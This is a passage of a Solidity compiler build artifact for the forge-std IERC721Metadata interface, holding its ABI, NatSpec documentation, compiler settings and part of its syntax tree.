NFT\"},\"safeTransferFrom(address,address,uint256)\":{\"notice\":\"Transfers the ownership of an NFT from one address to another address\"},\"safeTransferFrom(address,address,uint256,bytes)\":{\"notice\":\"Transfers the ownership of an NFT from one address to another address\"},\"setApprovalForAll(address,bool)\":{\"notice\":\"Enable or disable approval for a third party (\\\"operator\\\") to manage all of `msg.sender`'s assets\"},\"supportsInterface(bytes4)\":{\"notice\":\"Query if a contract implements an interface\"},\"symbol()\":{\"notice\":\"An abbreviated name for NFTs in this contract\"},\"tokenURI(uint256)\":{\"notice\":\"A distinct Uniform Resource Identifier (URI) for a given asset.\"},\"transferFrom(address,address,uint256)\":{\"notice\":\"Transfer ownership of an NFT -- THE CALLER IS RESPONSIBLE TO CONFIRM THAT `_to` IS CAPABLE OF RECEIVING NFTS OR ELSE THEY MAY BE PERMANENTLY LOST\"}},\"version\":1}},\"settings\":{\"compilationTarget\":{\"lib/forge-std/src/interfaces/IERC721.sol\":\"IERC721Metadata\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/interfaces/IERC165.sol\":{\"keccak256\":\"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc\",\"dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT\"]},\"lib/forge-std/src/interfaces/IERC721.sol\":{\"keccak256\":\"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f\",\"dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"_owner","type":"address","indexed":true},{"internalType":"address","name":"_approved","type":"address","indexed":true},{"internalType":"uint256","name":"_tokenId","type":"uint256","indexed":true}],"type":"event","name":"Approval","anonymous":false},{"inputs":[{"internalType":"address","name":"_owner","type":"address","indexed":true},{"internalType":"address","name":"_operator","type":"address","indexed":true},{"internalType":"bool","name":"_approved","type":"bool","indexed":false}],"type":"event","name":"ApprovalForAll","anonymous":false},{"inputs":[{"internalType":"address","name":"_from","type":"address","indexed":true},{"internalType":"address","name":"_to","type":"address","indexed":true},{"internalType":"uint256","name":"_tokenId","type":"uint256","indexed":true}],"type":"event","name":"Transfer","anonymous":false},{"inputs":[{"internalType":"address","name":"_approved","type":"address"},{"internalType":"uint256","name":"_tokenId","type":"uint256"}],"stateMutability":"payable","type":"function","name":"approve"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"stateMutability":"view","type":"function","name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"uint256","name":"_tokenId","type":"uint256"}],"stateMutability":"view","type":"function","name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"_operator","type":"address"}],"stateMutability":"view","type":"function","name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"name","outputs":[{"internalType":"string","name":"_name","type":"string"}]},{"inputs":[{"internalType":"uint256","name":"_tokenId","type":"uint256"}],"stateMutability":"view","type":"function","name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_tokenId","type":"uint256"}],"stateMutability":"payable","type":"function","name":"safeTransferFrom"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_tokenId","type":"uint256"},{"internalType":"bytes","name":"data","type":"bytes"}],"stateMutability":"payable","type":"function","name":"safeTransferFrom"},{"inputs":[{"internalType":"address","name":"_operator","type":"address"},{"internalType":"bool","name":"_approved","type":"bool"}],"stateMutability":"nonpayable","type":"function","name":"setApprovalForAll"},{"inputs":[{"internalType":"bytes4","name":"interfaceID","type":"bytes4"}],"stateMutability":"view","type":"function","name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"symbol","outputs":[{"internalType":"string","name":"_symbol","type":"string"}]},{"inputs":[{"internalType":"uint256","name":"_tokenId","type":"uint256"}],"stateMutability":"view","type":"function","name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}]},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_tokenId","type":"uint256"}],"stateMutability":"payable","type":"function","name":"transferFrom"}],"devdoc":{"kind":"dev","methods":{"approve(address,uint256)":{"details":"The zero address indicates there is no approved address. Throws unless `msg.sender` is the current NFT owner, or an authorized operator of the current owner.","params":{"_approved":"The new approved NFT controller","_tokenId":"The NFT to approve"}},"balanceOf(address)":{"details":"NFTs assigned to the zero address are considered invalid, and this function throws for queries about the zero address.","params":{"_owner":"An address for whom to query the balance"},"returns":{"_0":"The number of NFTs owned by `_owner`, possibly zero"}},"getApproved(uint256)":{"details":"Throws if `_tokenId` is not a valid NFT.","params":{"_tokenId":"The NFT to find the approved address for"},"returns":{"_0":"The approved address for this NFT, or the zero address if there is none"}},"isApprovedForAll(address,address)":{"params":{"_operator":"The address that acts on behalf of the owner","_owner":"The address that owns the NFTs"},"returns":{"_0":"True if `_operator` is an approved operator for `_owner`, false otherwise"}},"ownerOf(uint256)":{"details":"NFTs assigned to zero address are considered invalid, and queries about them do throw.","params":{"_tokenId":"The identifier for an NFT"},"returns":{"_0":"The address of the owner of the NFT"}},"safeTransferFrom(address,address,uint256)":{"details":"This works identically to the other function with an extra data parameter, except this function just sets data to \"\".","params":{"_from":"The current owner of the NFT","_to":"The new owner","_tokenId":"The NFT to transfer"}},"safeTransferFrom(address,address,uint256,bytes)":{"details":"Throws unless `msg.sender` is the current owner, an authorized operator, or the approved address for this NFT. Throws if `_from` is not the current owner. Throws if `_to` is the zero address. Throws if `_tokenId` is not a valid NFT. When transfer is complete, this function checks if `_to` is a smart contract (code size > 0). If so, it calls `onERC721Received` on `_to` and throws if the return value is not `bytes4(keccak256(\"onERC721Received(address,address,uint256,bytes)\"))`.","params":{"_from":"The current owner of the NFT","_to":"The new owner","_tokenId":"The NFT to transfer","data":"Additional data with no specified format, sent in call to `_to`"}},"setApprovalForAll(address,bool)":{"details":"Emits the ApprovalForAll event. The contract MUST allow multiple operators per owner.","params":{"_approved":"True if the operator is approved, false to revoke approval","_operator":"Address to add to the set of authorized operators"}},"supportsInterface(bytes4)":{"details":"Interface identification is specified in ERC-165. This function uses less than 30,000 gas.","params":{"interfaceID":"The interface identifier, as specified in ERC-165"},"returns":{"_0":"`true` if the contract implements `interfaceID` and `interfaceID` is not 0xffffffff, `false` otherwise"}},"tokenURI(uint256)":{"details":"Throws if `_tokenId` is not a valid NFT. URIs are defined in RFC 3986. The URI may point to a JSON file that conforms to the \"ERC721 Metadata JSON Schema\"."},"transferFrom(address,address,uint256)":{"details":"Throws unless `msg.sender` is the current owner, an authorized operator, or the approved address for this NFT. Throws if `_from` is not the current owner. Throws if `_to` is the zero address. Throws if `_tokenId` is not a valid NFT.","params":{"_from":"The current owner of the NFT","_to":"The new owner","_tokenId":"The NFT to transfer"}}},"version":1},"userdoc":{"kind":"user","methods":{"approve(address,uint256)":{"notice":"Change or reaffirm the approved address for an NFT"},"balanceOf(address)":{"notice":"Count all NFTs assigned to an owner"},"getApproved(uint256)":{"notice":"Get the approved address for a single NFT"},"isApprovedForAll(address,address)":{"notice":"Query if an address is an authorized operator for another address"},"name()":{"notice":"A descriptive name for a collection of NFTs in this contract"},"ownerOf(uint256)":{"notice":"Find the owner of an NFT"},"safeTransferFrom(address,address,uint256)":{"notice":"Transfers the ownership of an NFT from one address to another address"},"safeTransferFrom(address,address,uint256,bytes)":{"notice":"Transfers the ownership of an NFT from one address to another address"},"setApprovalForAll(address,bool)":{"notice":"Enable or disable approval for a third party (\"operator\") to manage all of `msg.sender`'s assets"},"supportsInterface(bytes4)":{"notice":"Query if a contract implements an interface"},"symbol()":{"notice":"An abbreviated name for NFTs in this contract"},"tokenURI(uint256)":{"notice":"A distinct Uniform Resource Identifier (URI) for a given asset."},"transferFrom(address,address,uint256)":{"notice":"Transfer ownership of an NFT -- THE CALLER IS RESPONSIBLE TO CONFIRM THAT `_to` IS CAPABLE OF RECEIVING NFTS OR ELSE THEY MAY BE PERMANENTLY LOST"}},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"lib/forge-std/src/interfaces/IERC721.sol":"IERC721Metadata"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/interfaces/IERC165.sol":{"keccak256":"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600","urls":["bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc","dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC721.sol":{"keccak256":"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15","urls":["bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f","dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"lib/forge-std/src/interfaces/IERC721.sol","id":32154,"exportedSymbols":{"IERC165":[31873],"IERC721":[32085],"IERC721Enumerable":[32153],"IERC721Metadata":[32125],"IERC721TokenReceiver":[32101]},"nodeType":"SourceUnit","src":"32:8994:18","nodes":[{"id":31971,"nodeType":"PragmaDirective","src":"32:24:18","nodes":[],"literals":["solidity",">=","0.6",".2"]},{"id":31972,"nodeType":"ImportDirective","src":"58:23:18","nodes":[],"absolutePath":"lib/forge-std/src/interfaces/IERC165.sol","file":"./IERC165.sol","nameLocation":"-1:-1:-1","scope":32154,"sourceUnit":31874,"symbolAliases":[],"unitAlias":""},{"id":32085,"nodeType":"ContractDefinition","src":"249:5535:18","nodes":[{"id":31984,"nodeType":"EventDefinition","src":"673:85:18","nodes":[],"anonymous":false,"documentation":{"id":31976,"nodeType":"StructuredDocumentation","src":"284:384:18","text":"@dev This emits when ownership of any NFT changes by any mechanism.\n This event emits when NFTs are created (`from` == 0) and destroyed\n (`to` == 0). Exception: during contract creation, any number of NFTs\n may be created and assigned without emitting Transfer. At the time of\n any transfer, the approved address for that NFT (if any) is reset to none."},"eventSelector":"ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef","name":"Transfer","nameLocation":"679:8:18","parameters":{"id":31983,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31978,"indexed":true,"mutability":"mutable","name":"_from","nameLocation":"704:5:18","nodeType":"VariableDeclaration","scope":31984,"src":"688:21:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31977,"name":"address","nodeType":"ElementaryTypeName","src":"688:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31980,"indexed":true,"mutability":"mutable","name":"_to","nameLocation":"727:3:18","nodeType":"VariableDeclaration","scope":31984,"src":"711:19:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31979,"name":"address","nodeType":"ElementaryTypeName","src":"711:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31982,"indexed":true,"mutability":"mutable","name":"_tokenId","nameLocation":"748:8:18","nodeType":"VariableDeclaration","scope":31984,"src":"732:24:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":31981,"name":"uint256","nodeType":"ElementaryTypeName","src":"732:7:18","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"687:70:18"}},{"id":31993,"nodeType":"EventDefinition","src":"1047:92:18","nodes":[],"anonymous":false,"documentation":{"id":31985,"nodeType":"StructuredDocumentation","src":"764:278:18","text":"@dev This emits when the approved address for an NFT is changed or\n reaffirmed. The zero address indicates there is no approved address.\n When a Transfer event emits, this also indicates that the approved\n address for that NFT (if any) is reset to none."},"eventSelector":"8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925","name":"Approval","nameLocation":"1053:8:18","parameters":{"id":31992,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31987,"indexed":true,"mutability":"mutable","name":"_owner","nameLocation":"1078:6:18","nodeType":"VariableDeclaration","scope":31993,"src":"1062:22:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31986,"name":"address","nodeType":"ElementaryTypeName","src":"1062:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31989,"indexed":true,"mutability":"mutable","name":"_approved","nameLocation":"1102:9:18","nodeType":"VariableDeclaration","scope":31993,"src":"1086:25:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31988,"name":"address","nodeType":"ElementaryTypeName","src":"1086:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31991,"indexed":true,"mutability":"mutable","name":"_tokenId","nameLocation":"1129:8:18","nodeType":"VariableDeclaration","scope":31993,"src":"1113:24:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":31990,"name":"uint256","nodeType":"ElementaryTypeName","src":"1113:7:18","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1061:77:18"}},{"id":32002,"nodeType":"EventDefinition","src":"1278:88:18","nodes":[],"anonymous":false,"documentation":{"id":31994,"nodeType":"StructuredDocumentation","src":"1145:128:18","text":"@dev This emits when an operator is enabled or disabled for an owner.\n The operator can manage all NFTs of the owner."},"eventSelector":"17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31","name":"ApprovalForAll","nameLocation":"1284:14:18","parameters":{"id":32001,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31996,"indexed":true,"mutability":"mutable","name":"_owner","nameLocation":"1315:6:18","nodeType":"VariableDeclaration","scope":32002,"src":"1299:22:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31995,"name":"address","nodeType":"ElementaryTypeName","src":"1299:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31998,"indexed":true,"mutability":"mutable","name":"_operator","nameLocation":"1339:9:18","nodeType":"VariableDeclaration","scope":32002,"src":"1323:25:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31997,"name":"address","nodeType":"ElementaryTypeName","src":"1323:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":32000,"indexed":false,"mutability":"mutable","name":"_approved","nameLocation":"1355:9:18","nodeType":"VariableDeclaration","scope":32002,"src":"1350:14:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":31999,"name":"bool","nodeType":"ElementaryTypeName","src":"1350:4:18","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"1298:67:18"}},{"id":32010,"nodeType":"FunctionDefinition","src":"1695:67:18","nodes":[],"documentation":{"id":32003,"nodeType":"StructuredDocumentation","src":"1372:318:18","text":"@notice Count all NFTs assigned to an owner\n @dev NFTs assigned to the zero address are considered invalid, and this\n function throws for queries about the zero address.\n @param _owner An address for whom to query the balance\n @return The number of NFTs owned by `_owner`, possibly zero"},"functionSelector":"70a08231","implemented":false,"kind":"function","modifiers":[],"name":"balanceOf","nameLocation":"1704:9:18","parameters":{"id":32006,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32005,"mutability":"mutable","name":"_owner","nameLocation":"1722:6:18","nodeType":"VariableDeclaration","scope":32010,"src":"1714:14:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32004,"name":"address","nodeType":"ElementaryTypeName","src":"1714:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1713:16:18"},"returnParameters":{"id":32009,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32008,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":32010,"src":"1753:7:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32007,"name":"uint256","nodeType":"ElementaryTypeName","src":"1753:7:18","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1752:9:18"},"scope":32085,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":32018,"nodeType":"FunctionDefinition","src":"2019:67:18","nodes":[],"documentation":{"id":32011,"nodeType":"StructuredDocumentation","src":"1768:246:18","text":"@notice Find the owner of an NFT\n @dev NFTs assigned to zero address are considered invalid, and queries\n about them do throw.\n @param _tokenId The identifier for an NFT\n @return The address of the owner of the NFT"},"functionSelector":"6352211e","implemented":false,"kind":"function","modifiers":[],"name":"ownerOf","nameLocation":"2028:7:18","parameters":{"id":32014,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32013,"mutability":"mutable","name":"_tokenId","nameLocation":"2044:8:18","nodeType":"VariableDeclaration","scope":32018,"src":"2036:16:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32012,"name":"uint256","nodeType":"ElementaryTypeName","src":"2036:7:18","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"2035:18:18"},"returnParameters":{"id":32017,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32016,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":32018,"src":"2077:7:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32015,"name":"address","nodeType":"ElementaryTypeName","src":"2077:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"2076:9:18"},"scope":32085,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":32030,"nodeType":"FunctionDefinition","src":"2931:110:18","nodes":[],"documentation":{"id":32019,"nodeType":"StructuredDocumentation","src":"2092:834:18","text":"@notice Transfers the ownership of an NFT from one address to another address\n @dev Throws unless `msg.sender` is the current owner, an authorized\n operator, or the approved address for this NFT. Throws if `_from` is\n not the current owner. Throws if `_to` is the zero address. Throws if\n `_tokenId` is not a valid NFT. When transfer is complete, this function\n checks if `_to` is a smart contract (code size > 0). If so, it calls\n `onERC721Received` on `_to` and throws if the return value is not\n `bytes4(keccak256(\"onERC721Received(address,address,uint256,bytes)\"))`.\n @param _from The current owner of the NFT\n @param _to The new owner\n @param _tokenId The NFT to transfer\n @param data Additional data with no specified format, sent in call to `_to`"},"functionSelector":"b88d4fde","implemented":false,"kind":"function","modifiers":[],"name":"safeTransferFrom","nameLocation":"2940:16:18","parameters":{"id":32028,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32021,"mutability":"mutable","name":"_from","nameLocation":"2965:5:18","nodeType":"VariableDeclaration","scope":32030,"src":"2957:13:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32020,"name":"address","nodeType":"ElementaryTypeName","src":"2957:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":32023,"mutability":"mutable","name":"_to","nameLocation":"2980:3:18","nodeType":"VariableDeclaration","scope":32030,"src":"2972:11:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32022,"name":"address","nodeType":"ElementaryTypeName","src":"2972:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":32025,"mutability":"mutable","name":"_tokenId","nameLocation":"2993:8:18","nodeType":"VariableDeclaration","scope":32030,"src":"2985:16:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32024,"name":"uint256","nodeType":"ElementaryTypeName","src":"2985:7:18","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":32027,"mutability":"mutable","name":"data","nameLocation":"3018:4:18","nodeType":"VariableDeclaration","scope":32030,"src":"3003:19:18","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":32026,"name":"bytes","nodeType":"ElementaryTypeName","src":"3003:5:18","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"2956:67:18"},"returnParameters":{"id":32029,"nodeType":"ParameterList","parameters":[],"src":"3040:0:18"},"scope":32085,"stateMutability":"payable","virtual":false,"visibility":"external"},{"id":32040,"nodeType":"FunctionDefinition","src":"3399:89:18","nodes":[],"documentation":{"id":32031,"nodeType":"StructuredDocumentation","src":"3047:347:18","text":"@notice Transfers the ownership of an NFT from one address to another address\n @dev This works identically to the other function with an extra data parameter,\n except this function just sets data to \"\".\n @param _from The current owner of the NFT\n @param _to The new owner\n @param _tokenId The NFT to transfer"},"functionSelector":"42842e0e","implemented":false,"kind":"function","modifiers":[],"name":"safeTransferFrom","nameLocation":"3408:16:18","parameters":{"id":32038,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32033,"mutability":"mutable","name":"_from","nameLocation":"3433:5:18","nodeType":"VariableDeclaration","scope":32040,"src":"3425:13:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32032,"name":"address","nodeType":"ElementaryTypeName","src":"3425:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":32035,"mutability":"mutable","name":"_to","nameLocation":"3448:3:18","nodeType":"VariableDeclaration","scope":32040,"src":"3440:11:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32034,"name":"address","nodeType":"ElementaryTypeName","src":"3440:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":32037,"mutability":"mutable","name":"_tokenId","nameLocation":"3461:8:18","nodeType":"VariableDeclaration","scope":32040,"src":"3453:16:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32036,"name":"uint256","nodeType":"ElementaryTypeName","src":"3453:7:18","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"3424:46:18"},"returnParameters":{"id":32039,"nodeType":"ParameterList","parameters":[],"src":"3487:0:18"},"scope":32085,"stateMutability":"payable","virtual":false,"visibility":"external"},{"id":32050,"nodeType":"FunctionDefinition","src":"4069:85:18","nodes":[],"documentation":{"id":32041,"nodeType":"StructuredDocumentation","src":"3494:570:18","text":"@notice Transfer ownership of an NFT -- THE CALLER IS RESPONSIBLE\n TO CONFIRM THAT `_to` IS CAPABLE OF RECEIVING NFTS OR ELSE\n THEY MAY BE PERMANENTLY LOST\n @dev Throws unless `msg.sender` is the current owner, an authorized\n operator, or the approved address for this NFT. Throws if `_from` is\n not the current owner. Throws if `_to` is the zero address. Throws if\n `_tokenId` is not a valid NFT.\n @param _from The current owner of the NFT\n @param _to The new owner\n @param _tokenId The NFT to transfer"},"functionSelector":"23b872dd","implemented":false,"kind":"function","modifiers":[],"name":"transferFrom","nameLocation":"4078:12:18","parameters":{"id":32048,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32043,"mutability":"mutable","name":"_from","nameLocation":"4099:5:18","nodeType":"VariableDeclaration","scope":32050,"src":"4091:13:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32042,"name":"address","nodeType":"ElementaryTypeName","src":"4091:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":32045,"mutability":"mutable","name":"_to","nameLocation":"4114:3:18","nodeType":"VariableDeclaration","scope":32050,"src":"4106:11:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32044,"name":"address","nodeType":"ElementaryTypeName","src":"4106:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":32047,"mutability":"mutable","name":"_tokenId","nameLocation":"4127:8:18","nodeType":"VariableDeclaration","scope":32050,"src":"4119:16:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32046,"name":"uint256","nodeType":"ElementaryTypeName","src":"4119:7:18","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"4090:46:18"},"returnParameters":{"id":32049,"nodeType":"ParameterList","parameters":[],"src":"4153:0:18"},"scope":32085,"stateMutability":"payable","virtual":false,"visibility":"external"},{"id":32058,"nodeType":"FunctionDefinition","src":"4514:71:18","nodes":[],"documentation":{"id":32051,"nodeType":"StructuredDocumentation","src":"4160:349:18","text":"@notice Change or reaffirm the approved address for an NFT\n @dev The zero address indicates there is no approved address.\n Throws unless `msg.sender` is the current NFT owner, or an authorized\n operator of the current owner.\n @param _approved The new approved NFT controller\n @param _tokenId The NFT to approve"},"functionSelector":"095ea7b3","implemented":false,"kind":"function","modifiers":[],"name":"approve","nameLocation":"4523:7:18","parameters":{"id":32056,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32053,"mutability":"mutable","name":"_approved","nameLocation":"4539:9:18","nodeType":"VariableDeclaration","scope":32058,"src":"4531:17:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32052,"name":"address","nodeType":"ElementaryTypeName","src":"4531:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":32055,"mutability":"mutable","name":"_tokenId","nameLocation":"4558:8:18","nodeType":"VariableDeclaration","scope":32058,"src":"4550:16:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32054,"name":"uint256","nodeType":"ElementaryTypeName","src":"4550:7:18","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"4530:37:18"},"returnParameters":{"id":32057,"nodeType":"ParameterList","parameters":[],"src":"4584:0:18"},"scope":32085,"stateMutability":"payable"